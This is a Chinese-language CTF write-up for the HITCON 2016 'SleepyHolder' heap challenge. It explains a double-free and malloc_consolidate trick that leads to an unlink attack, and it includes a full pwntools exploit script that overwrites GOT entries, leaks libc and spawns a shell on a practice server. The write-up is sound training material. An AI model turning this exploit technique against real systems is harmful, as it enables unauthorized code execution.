Loading... 不得不说 hitcon 2016 那场比赛的堆题是真的都很牛叉,让我学到了很多东西。这道题和同场比赛中的 [secret_holder](https://www.cjovi.icu/WP/1161.html) 有在总体流程上几乎一样,但是利用方式不同。 这个程序除了 double free 之外是没有漏洞的,如何利用这个 double free 呢?之前那道 secret_holder 是通过类似 chunk overlapping 的方法实现 UAF 然后 `unlink` 的,但是本题的 huge chunk 只能申请一次,然后就完全无法操作了。那么如何实现类似的 UAF 呢?方法比较巧妙,我也很遗憾自己没有想出来。利用的是 `malloc_consolidate` 函数,我们知道 ptmalloc 在处理 big request 的时候,遍历到 large bin 的时候,会先调用 `malloc_consolidate` 函数整理碎片,这个时候会把 fastbin 中所有的 bin 先尝试合并,然后放到其对应的 bin 中。而本题可以申请一次 huge chunk,就有了触发 `malloc_consolidate` 的机会。我们的解法就是申请一个 small secret,再申请一个 big secret,两个 chunk 分别记作 A,B,先 `free` 掉 A,然后申请 huge secret,在 `malloc_consolidate` 后,A,本来属于 fastbin,就被收入了 smallbin,其下一个 chunk,也就是 B 的 `prev_inuse` 位被置为零。 然后我们再回想一下 fastbin 对 double free 的检测:简单地用 fastbin 的头节点指向的地址和被 free 的 chunk 的地址相比较,不同的话就通过检测。对本题,由于之前已经卸下了 A,fastbin 为空,所以可以直接 double free。接下来是重点,如果我们 double free A,分配器断定 B 的 `prev_inuse` 位必然为 1,而 A 的大小属于 fastbin,fastbin 的空余空间也可以存储这个 chunk,所以 `free` 掉 A 后,B 的 `prev_inuse` 仍然会是 1,所以分配器不会修改该位。然后我们再把 A 申请回来,由于 A 是 fastbin,分配器仍然断定 B 的 `prev_inuse` 本来就是 1,还是不会修改这一位,那么我们在删除 B 的时候就可以触发 unlink 了。之后就是老方法,此处不再赘述。 ### exp ```python #!/usr/bin/env python # coding=utf-8 from pwn import * def Keep(secret_type,payload): sh.sendlineafter("3. Renew secret\n",'1') sleep(0.3) sh.sendline(str(secret_type)) sh.sendafter("secret: \n",payload) def Wipe(secret_type): sh.sendlineafter("3. Renew secret\n",'2') sh.sendlineafter("2. Big secret\n",str(secret_type)) def Renew(secret_type,payload): sh.sendlineafter("3. Renew secret\n",'3') sh.sendlineafter("2. Big secret\n",str(secret_type)) sh.sendafter("secret: \n",payload) elf = ELF("./sleepyHolder_hitcon_2016") #sh = process("./sleepyHolder_hitcon_2016") sh = remote("node3.buuoj.cn",25979) libc = ELF("./libcs/buu-64-libc.so") Keep(1,'\n') Keep(2,'\n') Wipe(1) Keep(3,'\n') Wipe(1) Keep(1,'\n') small_s = 0x6020D0 payload = p64(0) + p64(0x21) + p64(small_s - 0x18) + p64(small_s - 0x10) + p64(0x20) Renew(1,payload) #gdb.attach(proc.pidof(sh)[0]) Wipe(2) payload = p64(0) + p64(elf.got["free"]) + p64(0) + p64(0x6020C0) + p32(1) + p32(1) + p32(1) Renew(1,payload) Renew(2,p64(elf.plt["puts"])) Renew(1,p64(elf.got["atoi"])) Wipe(2) atoi_addr = u64(sh.recv(6).ljust(8,'\x00')) libc_base = atoi_addr - libc.symbols["atoi"] log.success("libc_base:" + hex(libc_base)) system_addr = libc_base + libc.symbols["system"] Renew(1,p64(elf.got["atoi"]) + p64(0) + p64(0x6020C0) + p32(1) * 3) Renew(2,p64(system_addr)) #after this you should input "sh" yourself to get the shell sh.interactive() ``` 最后修改:2021 年 03 月 16 日 © 允许规范转载 打赏 赞赏作者 支付宝微信 赞 0 如果觉得我的文章对你有用,那听听上面我喜欢的歌吧